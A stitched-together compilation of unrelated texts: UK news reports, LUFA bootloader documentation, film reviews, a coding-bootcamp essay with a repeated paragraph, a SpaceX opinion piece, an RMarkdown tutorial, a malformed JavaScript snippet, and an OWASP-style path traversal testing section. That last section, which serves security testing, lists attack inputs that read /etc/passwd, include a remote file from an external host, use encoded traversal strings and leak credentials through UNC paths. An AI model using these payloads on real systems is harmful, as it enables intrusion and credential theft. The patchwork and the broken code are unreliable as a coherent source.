Huge fire engulfs lorry on A90 causing traffic chaos
Shocking images on social media show the HGV which went up in flames on Saturday morning.
by Kathleen SpeirsEmergency services have closed off part of the A90 after a lorry caught fire.
The vehicle went up in flames on Saturday morning, on the Perth to Dundee road at Inchmichael.
A shocking image shared by Road Policing Scotland at around 8.30am shows the motor almost totally cremated by the raging fire.
Locals also took to social media to share pictures of the inferno that has ripped right through the back of the lorry.
Motorists can expect delays as one lane remains closed.
Bus service, Scottish City Link has reported up to 45 minute delays as the fire rages on.
Police Scotland confirmed that officers are still on the scene.
It is not yet known if anyone has been injured as a result of the blaze.
A statement from Road Policing Scotland read: "A90, Perth to Dundee road at Inchmichael closed due to a vehicle on fire.
"Westbound traffic heading towards Perth remains open at this time.
"We will update once the road reopens."

LUFA Library - DFU Class Bootloader
|
The following list indicates what microcontrollers are compatible with this demo.
The following table gives a rundown of the USB utilization of this demo.
| USB Mode: | Device |
| USB Class: | Device Firmware Update Class (DFU) |
| USB Subclass: | None |
| Relevant Standards: | USBIF DFU Class Standard, Atmel USB Bootloader Datasheet |
| Supported USB Speeds: | Low Speed Mode Full Speed Mode |
This bootloader enumerates to the host as a DFU Class device, allowing for DFU-compatible programming software to load firmware onto the AVR.
Out of the box this bootloader builds for the AT90USB1287 with an 8KB bootloader section size, and will fit into 4KB of bootloader space. If you wish to alter this size and/or change the AVR model, you will need to edit the MCU, FLASH_SIZE_KB and BOOT_SECTION_SIZE_KB values in the accompanying makefile.
When the bootloader is running, the board's LED(s) will flash at regular intervals to distinguish the bootloader from the normal user application.
This bootloader is designed to be compatible with Atmel's provided Windows DFU class drivers. You will need to install Atmel's DFU drivers prior to using this bootloader on Windows platforms. If you are using a 64 bit Windows OS, you will need to either disable the driver signing requirement (see online tutorials for details) or use a digitally signed version of the official Atmel driver provided by a third party AVR user at http://www.avrfreaks.net/index.php?module=Freaks%20Academy&func=viewItem&item_id=2196&item_type=project.
This bootloader is compatible with Atmel's FLIP utility on Windows machines, and dfu-programmer on Linux machines.
FLIP (Flexible In-System Programmer) is a utility written by Atmel, and distributed for free on the Atmel website. The FLIP utility is designed to assist in the bootloader programming of a range of Atmel devices, through several popular physical interfaces including USB. It is written in Java, however makes use of native extensions for USB support and thus is only offered on Windows.
To program a device using FLIP, refer to the Atmel FLIP documentation.
dfu-programmer is an open-source command line solution for the bootloader programming of Atmel devices through a USB connection, using the DFU protocol, available for download at http://sourceforge.net/projects/dfu-programmer/.
The following example loads a HEX file into the AVR's FLASH memory using dfu-programmer:
Several user application functions for FLASH and other special memory area manipulations are exposed by the bootloader, allowing the user application to call into the bootloader at runtime to read and write FLASH data.
By default, the bootloader API jump table is located 32 bytes from the end of the device's FLASH memory, and follows the following layout:
From the application the API support of the bootloader can be detected by reading the FLASH memory bytes located at address BOOTLOADER_MAGIC_SIGNATURE_START
and comparing them to the value BOOTLOADER_MAGIC_SIGNATURE
. The class of bootloader can be determined by reading the FLASH memory bytes located at address BOOTLOADER_CLASS_SIGNATURE_START
and comparing them to the value BOOTLOADER_DFU_SIGNATURE
. The start address of the bootloader can be retrieved by reading the bytes of FLASH memory starting from address BOOTLOADER_ADDRESS_START
.
The following illustration indicates the final memory map of the device when loaded with the bootloader.
* +----------------------------+ 0x0000 * | | * | | * | | * | | * | | * | | * | | * | | * | User Application | * | | * | | * | | * | | * | | * | | * | | * | | * +----------------------------+ FLASHEND - BOOT_AUX_SECTION_SIZE * | Booloader Start Trampoline | * | (Not User App. Accessible) | * +----------------------------+ FLASHEND - (BOOT_AUX_SECTION_SIZE - 4) * | | * | Auxillery Bootloader | * | Space for Smaller Devices | * | (Not User App. Accessible) | * | | * +----------------------------+ FLASHEND - BOOT_SECTION_SIZE * | | * | Bootloader Application | * | (Not User App. Accessible) | * | | * +----------------------------+ FLASHEND - 96 * | API Table Trampolines | * | (Not User App. Accessible) | * +----------------------------+ FLASHEND - 32 * | Bootloader API Table | * | (User App. Accessible) | * +----------------------------+ FLASHEND - 8 * | Bootloader ID Constants | * | (User App. Accessible) | * +----------------------------+ FLASHEND *
To make the bootloader function on smaller devices (those with a physical bootloader section of smaller than 6KB)
The following defines can be found in this demo, which can control the demo behaviour when defined, or changed in value.
| Define Name: | Location: | Description: |
|---|---|---|
| SECURE_MODE | AppConfig.h | If defined to true , the bootloader will not accept any memory commands other than a chip erase on start-up, until an erase has been performed. This can be used in conjunction with the AVR's lockbits to prevent the AVRs firmware from being dumped by unauthorized persons. When false, all memory operations are allowed at any time. |

The Librarian's Role
The job of the librarian is to collect, package and deliver completed transciptions
for customers of the scriptorium. The librarian guarantees that documents are delivered
to customers in order of their publication time.
The Librarian's Behaviors
- The librarian monitors for unclaimed delivery pile tasks
and claims the oldest one.1
- After successfully claiming one, the librarian retrieves the appropriate
transcribed documents, packages them as is appropriate for
the customer according to the customer agreement,
ensures that all older piles have been delivered, and delivers them.
- If the librarian encounters errors in collecting, packaging, or delivering data, it
records error detail in the pile task.
1 The librarian must operate on piles instead of individual documents to ensure that
data is delivered to customers in time order.

Abstract: The problem of computing a resample estimate for the reconstruction error in PCA is reformulated as an inference problem with the help of the replica method. Using the expectation consistent (EC) approximation, the intractable inference problem can be solved efﬁciently using only two variational parameters. A perturbative correction to the result is computed and an alternative simpliﬁed derivation is also presented. 1

FROM DUSK TILL DAWN
A film review by Totoro
Copyright 1996 Totoro
I am not a regualr contributor to this group, more a lurker who has enjoyed hearing the well formed opinions of others while trying to pick a movie to see or rent. However, since I am probably among the first to see this movie, having gone to a sneak preview on wednesday, I decided to share my thoughts. Let me warn you folks that my inexperienced style may accidently release a spoiler or two, so ignore my review if you wish to remain unspoiled.
This movie a collaboration between two of the hottest young movie making talents making movies Richard Rodriguez directing, Tarrantino writing has enormous promise. It does not let one down. The satire in this movie is often enough to make a person want to collapse from irony. Such as when we see a news report on our protagonists (played by George Clooney and Tarrantino) giving a running death total. The simultaneous shot at critics of movie violence and TV news is two-bird-with-one-stone writing that we have come to expect from Tarrantino.
Mostly, I would describe this movie as a hip 90s update of the Texas Chainsaw Massacre. Except that I was ambivelent toward TCM and I very much liked this movie.
I do have a few nitpicks. The dialogue was sparse and minimalist. I expected more, particularly a few good soliloquies from Tarrantino, though one could make the case that many parts of this movie are his soliloquies on the state of the world. In addition, at the very end of the movie we learn the topless bar is apparently part of an ancient temple. We never got a chance to explore the depths of the place, and one wonders what still might be lurking in there, perhaps good fodder for a sequel.

Just a couple of years back it was perfectly normal to choose a degree and then build a career in that same field until you retired. Competencies lived separately: the IT people did the coding, the business people focused on the entrepreneurial aspects, and the accountants ran the books.
If you still believe in the stereotype of a developer being that unhygienic weirdo, working from their parents’ basement — just scratch it. Although I’m sure you can still find a couple of those, the times have changed. Only the most brilliant few will get away without social skills. But the reality is that nowadays employers put a huge emphasis on soft skills when hiring new members of their tech teams.
You need to be able to communicate — both with your teammates and clients, listen and collaborate. And you’ll most likely be faced with similar challenges during the bootcamp. Starting from programming in pairs, and ending with your final project — you won’t get away from teamwork.
"Give me six hours to chop down a tree and I will spend the first four sharpening the axe"
But let’s make one thing clear: bootcamps are not for everyone. If somebody tells you otherwise they probably don’t know a lot about bootcamps or are only focused on getting your money.
This one is important, even if the bootcamp you are considering accepts complete beginners. You haven’t written a single line of code in your life? Take an online course on Codecademy, Coursera or freeCodeCamp. They all have great resources for beginners and are completely free. If you get too stuck you can use their forums to ask for help. But try not to use those forums too often: being stuck and trying to figure the problem out yourself is a part of the process. You finished your first course and still think it’s fun? That’s a great place to start.
If you’re considering taking a bootcamp, the answer to the first question is probably ‘yes’. But what about the second one? Be honest with yourself: think of your school years, weeks preceding exams at the university or that time when your colleague got sick and you needed to step in for them at work, even though you didn’t fully know the specifics of the job.
Your background doesn’t matter. I have degrees in journalism, book design and literary criticism — and currently work as a developer and a coding tutor. It’s the mindset that matters. The rate of change in the industry means that as a developer you can never stop learning (or you will fall far behind very quickly). So ask yourself if learning is something you actually enjoy — not for the next couple of months of the bootcamp, but for the rest of your career.
If you still believe in the stereotype of a developer being that unhygienic weirdo, working from their parents’ basement — just scratch it. Although I’m sure you can still find a couple of those, the times have changed. Only the most brilliant few will get away without social skills. But the reality is that nowadays employers put a huge emphasis on soft skills when hiring new members of their tech teams.

Man 'running across the A52' detained after police called to burglary
Police dogs were deployed
by Jamie BarlowA police helicopter and force dogs were deployed on Sunday evening (November 17) after a burglary.
Detectives were called to reports of a house burglary in Ruddington Lane, Wilford, at about 7.45pm that day.
A Nottinghamshire Police spokesman said: "Officers saw a man flee over the garden fence when they arrived.
"The police helicopter later identified a man running across the A52, who was detained by officers."
A 28-year-old man has been arrested in connection with the incident.
The arrested man is also being questioned in connection with a number of other burglaries in Nottinghamshire over the past month.
Detective Inspector Kayne Rukas, of Nottinghamshire Police's burglary team, said: "Burglaries have a big impact on families and the thought of a stranger coming into their homes can be extremely distressing.
"The force recognises the seriousness of burglary, which is why we have dedicated burglary teams covering the city and county.
"This arrest follows a swift response and a coordinated action between officers on the ground, the dog section and the police helicopter."

8 MM (1999) A film review by Justin Felix. Copyright 1999 Justin Felix. Any comments about this review? Contact me at<EMAIL_ADDRESS>This review also appears in The Shrubbery at http://www.theshrubbery.prohosting.com/0499/movie1.html All of my film reviews are archived at http://us.imdb.com/M/reviews_by?Justin+Felix
Rating: **** (out of five)
Written by Andrew Kevin Walker. Directed by Joel Shumacher. Starring Nicolas Cage, Joaquin Phoenix, and Peter Stormare. Rated R (contains intense graphic violence, nudity, and profanity) 123 mins.
Synopsis: Private detective Tom Welles is hired by a wealthy widow to uncover the origins of a snuff film owned by her late husband. After uncovering the authenticity of the film, Welles descends into an underground world of perverse pornographers seeking vigilante revenge on the filmmakers.
Comments: 8 MM is one of the more disturbing mainstream movies I have seen in a long time. Though it doesn't present a snuff film (a movie which documents a person's murder for real, usually during or after some form of sexual act) as explicitly as the cult classic MUTE WITNESS and violence as shockingly as, say, NATURAL BORN KILLERS, 8 MM stays in your head long after you see it. It is not fun to watch; see something else if you get upset by realistic, sadistic violence. This film's violence and perverse sexuality skirts closely into NC-17 territory. For those with strong stomachs, however, 8 MM is an intelligent, worthwhile thriller, especially during its second hour.
Nicolas Cage, after a couple ho-hum movies, returns to material which allows him to utilize his strong acting abilities. As Tom Welles, a private detective and caring family man to a wife and newly-born daughter, Cage skillfully and convincingly portrays a decent man whose unwavering energy slowly transforms into obssession and violence as he is pulled into a nightmarish world of underground pornographers and brutal sexual deviants. Serving as a guide to this world is Joaquin Phoenix, who plays a struggling songwriter named Max California. California, despite his name, is a surprisingly intelligent and complex character, and Phoenix does a very good job at slowly pulling the audience to sympathy for the character. The real star of the movie, though, must be Peter Stormare. Stormare played the "really, really evil guy" in FARGO, and his character, Dino Velvet, in this movie seems about ten times more evil and unpredictable. His performance is very chilling.
8 MM's success may hardly be surprising. It was directed by Joel Schumacher, who, hopefully, saw this film as an apology for the absolutely dreadful BATMAN AND ROBIN. Before directing the last two BATMAN duds, however, Schumacher was responsible for several well-made horror flicks: LOST BOYS, FLATLINERS, and FALLING DOWN. 8 MM certainly joins the rank of these minor classics and is perhaps most reminiscent of FALLING DOWN in that both films present an average man who self-destructs before the audience's eyes. 8 MM was written by Andrew Kevin Walker, who also penned the Academy Award-winning thriller SEVEN a few years back. Like SEVEN, 8 MM is full of dialogue which haunts you well after leaving the theater. Welles is searching for answers.  When confronting one of the perpretrators at the end, the murderer responds that there are no reasons. He just enjoys it. That, Walker seems to suggest, is where the real terror lays: not in the crime itself but in the fact that rational motives do not exist.
A couple minor faults led me to my four-star rating (five stars is the highest rating I give). One, I found it a little difficult, early on, to accept the fact that a hardened private detective would get physically disgusted when first seeing a snuff film.  Second, some of the clues Welles gathers are too convenient. He discovers, for example, the victim's diary in her private bathroom, despite the fact the the police, the FBI, and her own mother have all investigated the room before. Finally, the closing scene seemed trite and improbable considering the rest of the film.
Despite the above criticisms, 8 MM is an engrossing story. One of the best scenes in the film occurs toward the end as a crazed Welles, who no longer seems like a hero, brutally beats one of the pornographers responsible for the snuff film. He pulls a gun on the man and, for a relatively long amount of time, struggles to decide whether or not to kill him. He then leaves the building and calls the victim's mother, in the middle of the night, to basically see if she would support the action. The entire scene is tense, unpredictable, and emotionally charged. Rarely, anymore, do horror films or thrillers provoke suspense in me as 8 MM, with scenes like this, did.
8 MM is most certainly not for the faint of heart. This is a graphic, oftentimes unflinching, look into the darkness which resides in both ordinary and extraordinary people. If you're prepared for a film of this nature, I give it an enthusiastic recommendation.

My name is George! I'm trying to learn html - to make my own website, css - to make a goodlooking style and js - to entertaine users


Space Exploration Technologies Corp., commonly known as SpaceX, the darling of the launch industry, is one of the most valuable private companies in the US. With almost quarter of all launches worldwide being handled by SpaceX, and with Starship set to revolutionize the launch industry, SpaceX appears to be an unstoppable industry force, but is it?
Eric Berger, the senior space editor at Ars Technica , posted a bombshell of a tweet.
After the briefing, Administrator Bill Nelson told me that he spoke with SpaceX's Gwynne Shotwell last weekend. He asked if Twitter/Musk was going to be a distraction to SpaceX and its commitments to NASA. "She said to me in no uncertain terms, 'I assure you it is not.'"
— Eric Berger (@SciGuySpace) December 11, 2022
To put this into context, back in 2019, the Department of Defense (DoD) was investigating whether or not it properly certified SpaceX to provide national security launches . We do not know why this happened.
Several weeks later, Elon Musk’s security clearance was being reviewed because he was smoking marijuana on Joe Rogan’s podcast. Even though that was legal under California law, it’s still a Class A misdemeanor under federal law. In fact, three or more possession convictions can raise this to a felony and this makes it much harder to get a security clearance. If he loses it, he may lose access to the classified material necessary to plan launches for the DoD. That doesn’t mean SpaceX is out, but it would make it harder for him to have an active role.
Then, in October of this year, reports surfaced about Biden administration concerns over the national security implications of Musk’s behavior . He’s made pro-Russian statements, his reliance on foreign investors to buy Twitter (including Saudi Arabia, Qatar, and a cryptocurrency exchange run by a Chinese-Canadian), and his hints of cutting off Starlink service in Ukraine have all combined to send very confusing signals as to his intentions. The White House later denied those reports of having concerns .
Shortly after this, SpaceX had a major management reshuffle , with COO Gwynne Shotwell and vice president Mark Juncosa being brought in to focus on Starship production. Elon Musk is famous for personally handling things like this, but seems to be bogged down by his Twitter antics.
The DoD is in a bind. United Launch Alliance (ULA) are replacing the Atlas 5 rocket with the Vulcan, but Blue Origin has struggled to produce the BE-4 engines needed. Just over a month ago, Blue Origin delivered the first BE-4 engines, but they’re years late and there’s no evidence that Blue Origin can ramp up production to match SpaceX. Now that Soyuz rockets are no longer an option, the DoD faces the nightmare of SpaceX or nothing. There are many other launch companies, including Firefly Aerospace and Rocket Lab, but they can’t match the cadence, reliability, or launch capabilities of SpaceX. Other rocket companies are either non-US based, or are little more than PowerPoint presentations.
Now the situation is getting worse. The industry needs more launches than launch providers can supply. Even if Musk ultimately is determined to be a security risk, there’s no viable alternative to SpaceX other than ULA. If Blue Origin can’t deliver enough of the BE-4 engines, it’s SpaceX or nothing. This is not a good position to be in.
This is why Berger’s tweet about NASA is so important. NASA is asking, point-blank, if they can trust Musk. The DoD has had concerns. The Biden administration has (allegedly, but probably true) concerns, and now NASA is asking. So much of the industry is relying on SpaceX and Musk is busy tweeting things like my pronouns are Prosecute/Fauci . Not only is this buying into far-right conspiracy theories—something which is sure to put people on edge—but it’s mocking the LGBT community. The latter point probably isn’t an issue from a security point of view, but the QAnon-style tweets, his comments in support of Russia, his support for white supremacists and neo-Nazis on Twitter are sounding alarm bells.
After months of chaos, Musk seems be begrudgingly admitting that his tenure as head of Twitter may not have been a good thing. He’s let Twitter users vote on whether he runs Twitter and they clearly voted him out.
Should I step down as head of Twitter? I will abide by the results of this poll.
— Elon Musk (@elonmusk) December 18, 2022
Perhaps Musk getting booed off stage is the wakeup call he needed. Perhaps he couldn’t handle the constant hate thrown at him. Or perhaps he’s realized that running a social media company is harder than he thought.
Whatever the reason, if Musk does step down, it might not happen for months and this won’t change much. He will still own Twitter and whoever takes over his role will be doing what Musk tells him to do. But maybe this will end the daily drama that has accompanied Musk’s takeover of Twitter. This might also allow Musk to give much needed attention to SpaceX.
But I can’t help but shake the feeling that SpaceX might not want that attention.

format and coding, I highly recommend the above links.
8.1.2 RMarkdown
code chunk options
Code chunks in RMarkdown
exist to show R
code, run the code, or both. In every RMarkdown
file you write, you will demarcate code chunks with three “ticks” at the top of the chuck followed immediately by the chunk options in curly braces, on the same line, and another three ticks (on their own line) below the chunk of code. This is what a coded chunk looks like:
## [1] 1 2 3 4 5 6 7 8 9 10
```
Which renders like this:
## [1] 1 2 3 4 5 6 7 8 9 10
Note that in the above example the R
code will be both run (“evaluated”) and displayed (“echoed”) in the knitted .html
file. If we want to suppress either or both of those from being rendered, we just set the chunk options to “FALSE”.
When your RMarkdown
file is completed, save any final changes, and click on the “Knit” icon in the toolbar, or click File -> Knit Document. Assuming there are no errors in your code, the rendered .html
file should load in a new window for inspection, and the file should be saved in the same location as your .Rmd
file. This has been a minimal treatment of RMarkdown
, but it should be enough guidance to get you started writing your own RMarkdown
scripts. Please consult the aforementioned RMarkdown
resources for additional instruction, examples, and help.

Javascript file:
var data ={"accordion_data": {"items": [{"tabId": "tab1","header": "Tab1","isActive": true,
"msg": "This is in Collapsible Group 1 and this attribute makes sure that all collapsible elements under the specified parent will be closed when one of the collapsible item is shown."};
$scope.init = function() {
accordion();
}
function accordion() {
var accordion_tpl = $(modelTemplate).filter('#accordion').html();
var html = Mustache.to_html(accordion_tpl, data.accordion_data);
$('#accordion').html(html);
}


Labour's BT plans force Talk Talk to pause sale of Fibrenation
by Edward ThicknesseBroadband provider Talk Talk’s chief executive Tristia Harrison said that Labour’s plans to nationalise BT’s Openreach arm had forced the company to pause negotiations over the sale of its Fibrenation sister business.
On a call with reporters, Harrison said: “Negotiations are going very well, but the news overnight means that we are all pausing, considering and digesting what it means.”

Earlier today Sky News reported that City Fibre, a Goldman Sachs backed alternative broadband provider, had been close to signing a deal to take full control of Fibrenation.
Instead, the signing will be delayed for at least a month. The announcement of the agreement was initially meant to accompany Talk Talk’s half-year results this morning.
The company said that it was in “ongoing advanced negotiations with interested parties.”
Talk Talk’s share price fell nearly four and a half per cent this morning on the back of the news.
The telecoms group launched broadband supplier Fibrenation last year as part of its ambition to build its own ultrafast network supplying three million customers.
Last night Labour unveiled the nationalisation plan as it promised to provide free full-fibre broadband for every UK household by 2030.
It also said it will nationalise “broadband-relevant parts of BT”, including Openreach (which runs much of the existing digital network), parts of BT Technology (which oversees the wholesale network), BT Enterprise (which sells broadband to business) and BT Consumer (which sells broadband to individuals).
Labour said the cost of part-nationalising BT would be set by parliament and paid for by swapping government bonds for shares.
Labour estimated that the policy would cost £20bn, but BT’s chief executive Philip Jansen took issue with the figure, warning the plan could cost more than £100bn.
Labour shadow chancellor John McDonnell is set to reveal the election policy later today.

McDonnell will say: “This is public ownership for the future. Every part of this plan has been legally vetted, checked with experts, and costed.”
TechUK, an industry trade association, said that the policy would be “a disaster for the telecoms sector and the customers that it serves.”
City Fibre refused to comment.

Summary
Many web applications use and manage files as part of their daily operation. Using input validation methods that have not been well designed or deployed, an aggressor could exploit the system in order to read or write files that are not intended to be accessible. In particular situations, it could be possible to execute arbitrary code or system commands.
Traditionally, web servers and web applications implement authentication mechanisms to control access to files and resources. Web servers try to confine users' files inside a "root directory" or "web document root", which represents a physical directory on the file system. Users have to consider this directory as the base directory into the hierarchical structure of the web application.
The definition of the privileges is made using Access Control Lists (ACL) which identify which users or groups are supposed to be able to access, modify, or execute a specific file on the server. These mechanisms are designed to prevent malicious users from accessing sensitive files (for example, the common /etc/passwd file on a UNIX-like platform) or to avoid the execution of system commands.
Many web applications use server-side scripts to include different kinds of files. It is quite common to use this method to manage images, templates, load static texts, and so on. Unfortunately, these applications expose security vulnerabilities if input parameters (i.e., form parameters, cookie values) are not correctly validated.
In web servers and web applications, this kind of problem arises in path traversal/file include attacks. By exploiting this kind of vulnerability, an attacker is able to read directories or files which they normally couldn't read, access data outside the web document root, or include scripts and other kinds of files from external websites.
For the purpose of the OWASP Testing Guide, only the security threats related to web applications will be considered and not threats to web servers (e.g., the infamous "%5c escape code" into Microsoft IIS web server). Further reading suggestions will be provided in the references section for interested readers.
This kind of attack is also known as the dot-dot-slash attack (../), directory traversal, directory climbing, or backtracking.
During an assessment, to discover path traversal and file include flaws, testers need to perform two different stages:
- (a) Input Vectors Enumeration (a systematic evaluation of each input vector)
- (b) Testing Techniques (a methodical evaluation of each attack technique used by an attacker to exploit the vulnerability)
How to Test Black Box testing Input Vectors Enumeration
In order to determine which part of the application is vulnerable to input validation bypassing, the tester needs to enumerate all parts of the application that accept content from the user. This also includes HTTP GET and POST queries and common options like file uploads and HTML forms.
Here are some examples of the checks to be performed at this stage:
- Are there request parameters which could be used for file-related operations?
- Are there unusual file extensions?
- Are there interesting variable names?
http://example.com/getUserProfile.jsp?item=ikki.html
http://example.com/index.php?file=content
http://example.com/main.cgi?home=index.htm- Is it possible to identify cookies used by the web application for the dynamic generation of pages or templates?
Cookie: ID=d9ccd3f4f9f18cc1:TM=2166255468:LM=1162655568:S=3cFpqbJgMSSPKVMV:TEMPLATE=flower
Cookie: USER=1826cc8f:PSTYLE=GreenDotRed
Testing Techniques
The next stage of testing is analyzing the input validation functions present in the web application. Using the previous example, the dynamic page called getUserProfile.jsp loads static information from a file and shows the content to users. An attacker could insert the malicious string "../../../../etc/passwd" to include the password hash file of a Linux/UNIX system. Obviously, this kind of attack is possible only if the validation checkpoint fails; according to the file system privileges, the web application itself must be able to read the file.
To successfully test for this flaw, the tester needs to have knowledge of the system being tested and the location of the files being requested. There is no point requesting /etc/passwd from an IIS web server.
http://example.com/getUserProfile.jsp?item=../../../../etc/passwd
For the cookies example:
Cookie: USER=1826cc8f:PSTYLE=../../../../etc/passwd
It's also possible to include files and scripts located on external website.
http://example.com/index.php?file=http://www.owasp.org/malicioustxt
If protocols are accepted as arguments, as in the above example, it's also possible to probe the local filesystem this way.
http://example.com/index.php?file=file:///etc/passwd
If protocols are accepted as arguments, as in the above examples, it's also possible to probe the local services and nearby services
http://example.com/index.php?file=http://localhost:8080 or http://example.com/index.php?file=http://<IP_ADDRESS>:9080
The following example will demonstrate how it is possible to show the source code of a CGI component, without using any path traversal characters.
http://example.com/main.cgi?home=main.cgi
The component called "main.cgi" is located in the same directory as the normal HTML static files used by the application. In some cases the tester needs to encode the requests using special characters (like the "." dot, "%00" null, ...) in order to bypass file extension controls or to prevent script execution.
Tip It's a common mistake by developers to not expect every form of encoding and therefore only do validation for basic encoded content. If at first the test string isn't successful, try another encoding scheme.
Each operating system uses different characters as path separator:
Unix-like OS:
root directory: "/"
directory separator: "/"
Windows OS' Shell':
root directory: "<drive letter>:\"
directory separator: "\" or "/"
Classic Mac OS:
root directory: "<drive letter>:"
directory separator: ":"
We should take in to account the following character encoding mechanisms: - URL encoding and double URL encoding
%2e%2e%2f represents ../
%2e%2e/ represents ../
..%2f represents ../
%2e%2e%5c represents ..\
%2e%2e\ represents ..\
..%5c represents ..\
%252e%252e%255c represents ..\
..%255c represents ..\ and so on.- Unicode/UTF-8 Encoding (it only works in systems that are able to accept overlong UTF-8 sequences)
..%c0%af represents ../
..%c1%9c represents ..\
There are other OS and application framework specific considerations as well. For instance, Windows is flexible in its parsing of file paths.
- Windows shell: Appending any of the following to paths used in a shell command results in no difference in function:
- Angle brackets ">" and "<" at the end of the path
- Double quotes (closed properly) at the end of the path
- Extraneous current directory markers such as "./" or ".\"
- Extraneous parent directory markers with arbitrary items that may or may not exist
- Examples:
– file.txt
– file.txt...
– file.txt<spaces>
– file.txt””””
– file.txt<<<>>><
– ./././file.txt
– nonexistant/../file.txt - Windows API: The following items are discarded when used in any shell command or API call where a string is taken as a filename:
periods
spaces- Windows UNC Filepaths: Used to reference files on SMB shares. Sometimes, an application can be made to refer to files on a remote UNC filepath. If so, the Windows SMB server may send stored credentials to the attacker, which can be captured and cracked. These may also be used with a self-referential IP address or domain name to evade filters, or used to access files on SMB shares inaccessible to the attacker, but accessible from the web server.
\\server_or_ip\path\to\file.abc
\\?\server_or_ip\path\to\file.abc- Windows NT Device Namespace: Used to refer to the Windows device namespace. Certain references will allow access to file systems using a different path.
- May be equivalent to a drive letter such as c:\, or even a drive volume without an assigned letter.
\\.\GLOBALROOT\Device\HarddiskVolume1\- Refers to the first disc drive on the machine.
\\.\CdRom0\
Gray Box testing
When the analysis is performed with a Gray Box approach, testers have to follow the same methodology as in Black Box Testing. However, since they can review the source code, it is possible to search the input vectors (stage (a) of the testing) more easily and accurately. During a source code review, they can use simple tools (such as the grep command) to search for one or more common patterns within the application code: inclusion functions/methods, filesystem operations, and so on.
PHP: include(), include_once(), require(), require_once(), fopen(), readfile(), ...
JSP/Servlet: java.io.File(), java.io.FileReader(), ...
ASP: include file, include virtual, ...
Using online code search engines (e.g., Ohloh Code[1]), it may also be possible to find path traversal flaws in Open Source software published on the Internet.
For PHP, testers can use:
lang:php (include|require)(_once)?\s*['"(]?\s*\$_(GET|POST|COOKIE)
Using the Gray Box Testing method, it is possible to discover vulnerabilities that are usually harder to discover, or even impossible to find during a standard Black Box assessment.
Some web applications generate dynamic pages using values and parameters stored in a database. It may be possible to insert specially crafted path traversal strings when the application adds data to the database. This kind of security problem is difficult to discover due to the fact the parameters inside the inclusion functions seem internal and "safe" but are not in reality.
Additionally, by reviewing the source code it is possible to analyze the functions that are supposed to handle invalid input: some developers try to change invalid input to make it valid, avoiding warnings and errors. These functions are usually prone to security flaws.
Consider a web application with these instructions:
filename = Request.QueryString(“file”);
Replace(filename, “/”,”\”);
Replace(filename, “..\”,””);
Testing for the flaw is achieved by:
file=....//....//boot.ini
file=....\\....\\boot.ini
file= ..\..\boot.ini
